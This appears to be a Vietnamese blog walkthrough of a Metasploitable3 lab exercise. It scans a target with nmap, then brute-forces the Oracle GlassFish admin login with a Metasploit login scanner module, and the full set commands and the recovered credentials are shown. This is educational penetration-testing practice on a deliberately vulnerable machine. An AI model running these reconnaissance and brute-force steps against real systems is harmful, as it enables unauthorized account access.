Skip to main content

Command Palette

Search for a command to run...

Metasploitable3: Exploit GlassFish Service

Updated
2 min read
Metasploitable3: Exploit GlassFish Service

Thăm dò máy mục tiêu bằng lệnh Nmap: nmap -sV -O -p- 192.168.2.21

Trong đó: -sV: xác định phiên bản dịch vụ đang chạy trên cổng, -O: scan hệ điều hành, -p-: scan toàn bộ port.

Các kết quả quét cho thấy rằng máy mục tiêu đang chạy rất nhiều dịch vụ, bao gồm một dịch vụ Oracle GlassFish 4.0 trên cổng 4848.

Tiến hành truy cập vào https://192.168.2.21:4848 thì ta vào được trang đăng nhập của Oracle.

Tiến hành khai thác lỗ hổng bằng Metasploit, mục tiêu login vào website của Oracle.

Gõ lênh msfconsole tại terminal để mở Metasploit

Lệnh search glassfish để tìm module khai thác lỗ hổng liên quan đến GlassFish.

Lệnh use 1 để chọn module auxiliary/scanner/http/glassfish_login.

Lệnh show options để xem yêu cầu của module

Thiết lập yêu cầu theo các lệnh sau:

set PASS_FILE /home/kali/Desktop/Metaslploitable3/pass.txt
set RHOSTS 192.168.2.21
set STOP_ON_SUCCESS true
set USER_FILE /home/kali/Desktop/Metaslploitable3/user.txt

Trong đó:

USER_FILE: wordlist username để thực hiện bruteforce

PASS_FILE: wordlist password để thực hiện bruteforce

RHOSTS: IP của máy mục tiêu

STOP_ON_SUCCESS: dừng quá trình bruteforce ngay khi tìm ra kết quả

Lệnh exploit để bắt đầu khai thác

Kết quả: username: admin / password: sploit

Tiến hành đăng nhập vào GlassFish bằng tài khoản vừa khai thác được.

Thành công đăng nhập vào GlassFish.

More from this blog

nbdthien

16 posts